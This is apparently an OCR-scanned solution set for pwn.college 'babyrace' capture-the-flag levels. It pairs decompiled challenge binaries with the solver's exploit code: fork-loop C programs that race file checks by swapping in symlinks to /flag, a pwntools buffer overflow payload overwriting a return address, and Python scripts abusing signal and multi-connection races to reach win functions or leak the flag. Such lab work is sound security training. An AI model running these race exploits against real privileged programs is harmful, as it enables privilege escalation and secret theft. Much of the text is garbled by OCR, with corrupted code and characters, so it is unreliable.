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1 #!/bin/bash
2 scp -i ~/pwncollege.ssh hacker@pwn.college:/challenge/babyrace_levelsl ./
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if { (unsigned int}lstat({char *)}argv[1l], &stat buf) == -1 )

1
puts("Error: failed to get file status!");
exit({1};

)

if ( (stat buf.st mode & @xF@Ba) == 46960 )

1
puts("Error: Tile is a symlink!™};
exit(1};

T

usleep(@x2718u};

v3 = open{argv[l], @);

vd = pread(v3, buf, @x186uLL}:

write(l, buf, wvd);

puts( "### Goodbye!"};

return 8; |

}
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1 #!/bin/bash

2 rm ~/fff

3 touch ~/fff

4 /challenge/babyrace_levell.l ~/fff &
5 sleep 0.002

6 rm ~/fff

7 ln -s /flag ~/fff
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1 #include <sys/fcntl.h>

2

3  dnt main()

A

5 int stage = 0;

6 _outside:

7 if (fork())

8 { // parent

9 if (++stage > 2)
10 return 0;

11 goto _outside;
12 3

13 else

14 {

15 if (stage == 0)
16 { // rm

17 while (1)

18 unlinkat (AT_FDCWD, "fff'", 0);
19 }

20 if (stage == 1)
21 { // touch

22 while (1)

23 close(openat (AT_FDCWD, "fff", O_WRONLY | O_CREAT | O_NOCTTY |
24 }

25 if (stage == 2)
26 {

27 while (1)

28 symlinkat("/flag", AT_FDCWD, "fff'");
29 }

30 }

31}
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1 #!/bin/bash

3 while :



do
/challenge/babyrace_level2.1 ~/fff | grep pwn
6 done

31N

1 int _ cdecl main{int argc, const char **argv, const char **envp)
2 {

3 int v3; ff eax

4  struct stat stat_buf; // [rsp+28h] [rbp-188h] BYREF

5 char buf[256]; // [rsp+B8h] [rbp-118h] BYREF

& _ inte4 v7; /S [rsptiBeh] [rbp-18h]

7 unsigned _ inte4 v8; // [rsp+iBBh] [rbp-8h]

o

9 wB = _ readfsqword(@x23u};

i@ setvbuf(stdin, OLL, 2, @LL};

11 setvbuf(stdout, 8LL, 2, 6LL};

L2 puts("##5");

13 printf("#HH Welcome to Hs!hn", *argv);
L4 puts{"#HHE");

15  putchar(le};

16 w7 = @LL;

I7° if (-argc <=1 %

La __assert fail(™argc > 1", “<¢stdin®”, @xd%u, "main™};
12°  if ( stestr{argv[1], “flag"} )}

W {

21 puts("Error: path contains “flag™!"};

iz exit{l};

13}

4. if { f(unsigned int)lstat({char *)argv[l], &stat buf)} = -1}
15

15 puts{"Error: failed to get fTile status!"™);
17 exit({1};

13}

19 if { (stat_buf.st_mode & @xFoeB) == 48960 )
W {

Ea ] puts{“Error: file is @ symlink!™};

32 exit({1};

i3}

3 if ( stet_buf.st_size > 256 )

35

36 puts{"Error: file is too large!™};

37 exit(1);

18}

39 v3 = open(argv[l],. )3

#  read(v3, buf, 6xle8eull);
B i (y7 3

% win{};

13 puts({"iHH Goodbye!™);

kS return 8;
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1 #include <sys/fcntl.h>



3 int main()

4 |

5 int stage = 0;

6 _outside:

7 if (fork())

8 { // parent

9 if (++stage > 2)

10 return 0;

11 goto _outside;

12 }

13 else

14 {

15 if (stage == 0)

16 {// rm

17 while (1)

18 unlinkat (AT_FDCWD, "fff", 0);
19 }

20 if (stage == 1)

21 { // touch

22 while (1)

23 close (openat (AT_FDCWD, "fff", O_WRONLY | O_CREAT | O_NOCTTY |
24 }

25 if (stage == 2)

26 {

27 while (1)

28 symlinkat (" /home/hacker/ff2", AT_FDCWD, "fff");
29 }

30 }

31}
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1 from pwn import *

2

3  with open('ff2',"wb") as f:

4 f.write(b'0'*(0x198)+p64(
5

6 0x4012d6

7 )
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1 #include <sys/fcntl.h>

2

3  dnt main()

4 |

5 int stage = 0;

6 _outside:

7 if (fork())

8 { // parent

9 if (++stage > 6)

10 return 0;

11 goto _outside;

12 }

13 else

14 {

15 if (stage == 0)

16 { // rm

17 while (1){

18 unlink("/home/hacker/fff/tmp");
19 }

20 }

21 // 1f (stage == 1)

22 // { // touch

23 // while (1)

24 // close(open('"/home/hacker/fff/f", O_WRONLY | O_CREAT | O_NC(
25 /) }

26 if (stage == 2)

27 {

28 while (1){// link flag

29 mkdir (" /home/hacker/fff",0777);
30 symlink("/flag", "/home/hacker/fff/tmp");
31 }
32 }

33 // if(stage == 3){
34 // while(1)

B85 // mkdir("/home/hacker/fff",0777) ;



36 /) }

37 if(stage == 4){

38 while(1)

39 symlink("/","/home/hacker/fff");
40 }

41 if(stage == 5){

42 while(1)

43 unlinkat(AT_FDCWD, "fff", 0);

44 }

45 if(stage == 6){

46 while(1)

47 unlinkat (AT_FDCWD, "fff", AT_REMOVEDIR);
48 }

49 }

50 }

AGIR
#!/bin/bash
gcec 2.c

1

2

3

4 # killall a.out
5 ./a.out
6

7

8

9

while :
do
/challenge/babyrace_level5.1 ~/fff/tmp | grep pwn
10 # ls -1 fdir/fff
11 done
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1 #include <sys/fcntl.h>
2

3  dint main()

4 |

5 int stage = 0;

6 _outside:

7 if (fork())



8 { // parent
if (++stage > 6)

10 return 0;
11 goto _outside;
12 1
13 else
14 {
15 if (stage == 0)
16 { // rm
17 while (1){
18 unlink("/home/hacker/fff/usr/bin");
19 chdir("/home/hacker/fff");
20 unlinkat(AT_FDCWD, "usr'", AT_REMOVEDIR);
21 chdir("/home/hacker");
22 unlinkat(AT_FDCWD, "fff'", AT_REMOVEDIR) ;
23 }
24 1
25 // if (stage == 1)
26 // { // touch
27 // while (1)
28 // close(open("/home/hacker/fff/f", O_WRONLY | O_CREAT | O_NC(
29 /) }
30 if (stage == 2)
31 {
32 while (1){// link flag
33 mkdir (" /home/hacker/fff",0777);
34 mkdir (" /home/hacker/fff/usr",0777);
35 symlink("/flag", "/home/hacker/fff/usr/bin");
36 }
37 }
38 if(stage == 3){
39 while(1)
40 unlink("/home/hacker/fff");
41 }
42 if(stage == 4){
43 while(1)
44 symlink("/","/home/hacker/fff");
45 }
46 }
47 }

AR

1 #!/bin/bash

3 gcec 2.c



4 # killall a.out

5 ./a.out

6

7 while :

8 do

9 /challenge/babyrace_level6.1 ~/fff/usr/bin | grep pwn
10 # 1ls -1 fdir/fff

11  done
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void timecut handler()

1
puts({“Logging out due to timeout.");
privilege level = 8;

Wl ka =

Lyt

XEEM T alarm(ESLERE, XN A0

28 else if [ !strcomp(s1, "logout™) )

27 i

28 if ( privilege level )

29 {

38 puts("Dropping one privilege lewvel."};

31 puts("Paused (press enter to continue)}");
32 __is0c99 scanf("¥7s", &pause buffer);

33 --privilege level;

34 3

is Elsd

logout KA EOM 2B/, BBRA A&
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1 from pwn import *

2 dimport os

3

4 # context.log_level="debug"

5

6 p = process("/challenge/babyrace_level7.1")
-

8 # input()

9 # p.interactive()

10



11 while True:

12 print(p.recvuntil("quit):").decode())
13 p.sendline("login')

14 print(p.recvuntil("quit):").decode())
15 p.sendline("logout")

16 os.kill(p.pid,14)

17 print(p.recvuntil("quit):").decode())
18 p.sendline("win_authed")

19
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1 from pwn import =*

2 dimport os

3

4 # context. log_level="debug"

5

6 p = process("/challenge/babyrace_level8.1")
-

8 # input()

9 # p.interactive()

10

11  while True:

12 nl = remote("127.0.0.1",1337)

13 n2 = remote("127.0.0.1",1337)

14 n3 = remote("127.0.0.1",1337)

15 print(nl.recvuntil("quit):").decode())
16 nl.sendline("login")

17 print(n2.recvuntil('"quit):").decode())
18 print(n3.recvuntil("quit):").decode())
19 n2.sendline("logout™")
20 n3.sendline("logout")
21 # 0os.kill(p.pid,13)
22 print(nl.recvuntil('"quit):").decode())
23 nl.sendline("win_authed")
24 print(nl.recvuntil("quit):").decode())
25 nl.close()
26 n2.close()

27 n3.close()



9 BEERRF2
int challenge()

int result; // eax

int vl; // eax

int w2; f/ eax

size £ v3; // rbx

int v4; ff eax

int v5; f/ [rsp+2Ch] [rbp-2&4h]

char s1[128]; // [rsp+3@h] [rbp-2A8h] BYREF
18 char v7[12]; // [rsp+B@h] [rbp-228h] BYREF
11 int v8:; // [rsp+BCh] [rbp-214h]

12 char v3[584]; // [rsp+Céh] [rbp-218h] BYREF
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e

(= N5

|

13 unsigned _ inte4 vi@; [/ [rsp+2B8h] [rbp-18h]
14
b 15wl = readfsqword(@x28u)};
B 15 while [ 1)
17 {
B 13 Twrite(
19 "[*] Function (send message/send redacted flag/receive message/quit): “n",
20 1ullL,
1 ex4sull,
22 (FILE *)_ readfsgqword(@xFFFFFFFB));
B 23 __isoc93 fscanf( readfsgword(@xFFFFFFF@}, "¥127s", =1);
b 2a result = stromp(si, “quit™};
b2 if [ lresult )
P 26 break;
b 27 if { !'strcmp(s1, "send_message™) )
28 I
B 29 fwrite("Message: ™, lull, 9ull, (FILE *)_readfsgqword(@xFFFFFFF8));
» 30 __isoc99 fscanf{_ readfsgqword(@xFFFFFFF@), "¥127s", s1});
B 31 fputc(19, (FILE *)}_ readfsqword(e@xFFFFFFF8));
B 32 vl = strlen(sl};
B 33 broadcast message(( dinted4)sl, vi);
34 1
B35 else if [ !stromp(sl, "send redacted_flag") )
36 7
B 37 strcpy(v7, “REDACTED: ");
b 38 v7[11] = 8;
b 39 v = @;
B 48 memset(vd, @, 496ull};
ka1 v2 = open("/flag"; @, v3};
B 42 vS = read(v2, &v7[11], 6x1@0ull);
B 43 broadcast message({ inte4)w?, v5 + 11);
44 ¥
b 45 else if [ Istromp(sl, "receive message") )
a5 {
b 47 fwrite("Message: ", lull, Sull, (FILE *) readfsqword{@xFFFFFFF8));
B 43 v3 = strlen(global message});
b 49 vd = filenof(FILE *)}__ readfsqword(@xFFFFFFF3)}:
B sh write{v4, global message, v3);
51 }
52 else
53 I
b5 fwrite("Unrecognized choiceln™, Qull, @x15ull, (FILE *) readfsgqword(@xFFFFFFFB));
55 }
56}

b 57 return result;



1 ipted4  fastcall broadcast message( inted al
2 7

3 inte4d result; /S rex

4 ipt di; // [rsp+ish] [rbp-4h]

5

6§ Tor { i=89; i< a2; i)

7 global message[i] = *(_BYTE *}({i + al1);
8 result-= a2;

9 global message[zZ] = 8;
ie return result;

11
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2
3
4
5
6
T
8
9

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

from pwn import *

import os

# context.log_level="debug"

p = process("/challenge/babyrace_level9.1")

# input()
# p.interactive()

while True:

nl = remote("127.0.0.1",1337)
n2 = remote("127.0.0.1",1337)
n3 = remote("127.0.0.1",1337)

print(nl.recvuntil("quit):").decode())
nl.sendline("send_redacted_flag")
nl.recvuntil("quit):")
print(n2.recvuntil('"quit):").decode())
print(n3.recvuntil('"quit):").decode())
n2.send("send_message\n012345678901234567890")
n3.send("receive_message\n")

n2.sendline("")

# n3.sendline("")

# os.kill(p.pid,13)
s = n3.recvuntil("quit):").decode()
print(s)
if("}" din s):
exit(0)
nl.close()
n2.close()

n3.close()

5 int aZ)
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10 T mutex RFBIMNBNSZEERRS

__fastcall broadcast_message(  inte4 al, int a2)

3 unsigped int i; // [rsptiCh] [rbp-4h]

5 sem_wait(&global message _mutex);

6. for [ 1 =8; (int)i < a2; Hi )

] %

8 fprintf((FILE *)_readfsqword(8xFFFFFFF8), "[*] global message[#d] = message[%d]\n", 1, i};

9 fwrite("Paused (press enter to continue)\n®™, lull, 8x21ull, (FILE *)_ readfsqword({@xFFFFFFF3));
18 isoc39 fscanf(_ readfsqword(@xFFFFFFF8), "¥7s", &pause buffer});

11 éiobal_message[i] =¥ BYTE *¥{tint)i 3+ al);

13 global message[z2] = 8;
14 return sem_post{8global _message mutex);

else if { !strocmp(sl, "receive message™) )
1
fwrite("Message: ", lull, 9ulL, (FILE *)_ readfsgword{@xFFFFFFF8));
w3 = strlen(global message);
vd = fileno((FILE *) readfsqword({@xFFFFFFFB));
write(v4, global message, v3);

;
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11 & mutex K= ENMBINZ ERZZTE2

4z else if { !stremp{sl, "receive message") )

43 1

A4 fprintf{(FILE *)_ readfsqword(8xFFFFFFF8), "Message: ¥s", global message);
45 }
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